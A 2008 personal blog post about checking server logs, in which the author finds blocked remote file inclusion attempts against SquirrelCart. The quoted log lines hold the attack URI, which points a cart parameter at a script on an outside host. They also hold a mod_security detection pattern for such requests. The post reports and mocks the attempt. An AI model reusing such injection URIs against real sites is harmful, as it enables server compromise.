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Do you check your log files?

September 8 2008, 6:42am

Over the past few days, I’ve been having a helluva time with Dreamhost (my host) and a slow connection. I tweeted about it. A lot. Twitter helps me vent, m’kay? OMG, like what did you do? Well, I figured Dreamhost had bitten off more than it could chew - and I still wonder about it, since they’re offering “unlimited everything” yet my server is under constant overload. For months. Once it was finally back up, and I installed a new theme (see my footer? Thesis? Very cool), I started poking around in my log files because my brand-spankin’-new theme was being all screwy. That’s when I noticed this little gem: [Sat Sep 06 22:20:11 2008] [error] [client 75.127.70.16] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "/2008/07/12/the-problem-with-web-developer...-web-put-your-title-here//squirrelcart/cart_content.php?cart_isp_root=http://albcrew.t35.com/pw.txt?"] [unique_id "dOpSw9BhtwYAAAAlJCcAAAAQ"]

[Sat Sep 06 23:14:07 2008] [error] [client 62.210.139.66] mod_security: Access denied with code 503. Pattern match "((name|pm_path|pagina|path|include_location|root|page|open)=(http|https|ftp)|(cmd|command|inc)=)" at REQUEST_URI [severity "EMERGENCY"] [hostname "ikeif.net"] [uri "//squirrelcart/cart_content.php?cart_isp_root=http://albcrew.t35.com/pw.txt?"] [unique_id "NdVyIdBhtwYAAFxmJCoAAAAO"] All I could do is just stare blankly and say “what the fuc|<?!” Thankfully, my son was asleep and didn’t witness my temper tantrum. Hackers? Hardly. I believe the term is “script kiddies” - I’m no hacker by any means myself, but from what I dug up about their “attack” it was using a cheap-ass script to try and execute vulnerabilities. And I noticed SquirrelCart in there as well - how the hell can I not escape Squirrel Cart? Why don’t clients ever listen when you say “it would be beneficial to upgrade?” I digress… The “Hackers” were UNITED ALBANIANS aka ALBOSS PARADISE and a quick google search turns up a number of other failed attempts:

Server Cracked/hacked Kiddie Script Alboss @ A Daily Rant - I’m really digging this blog. It cracks me up, and it’s informative.

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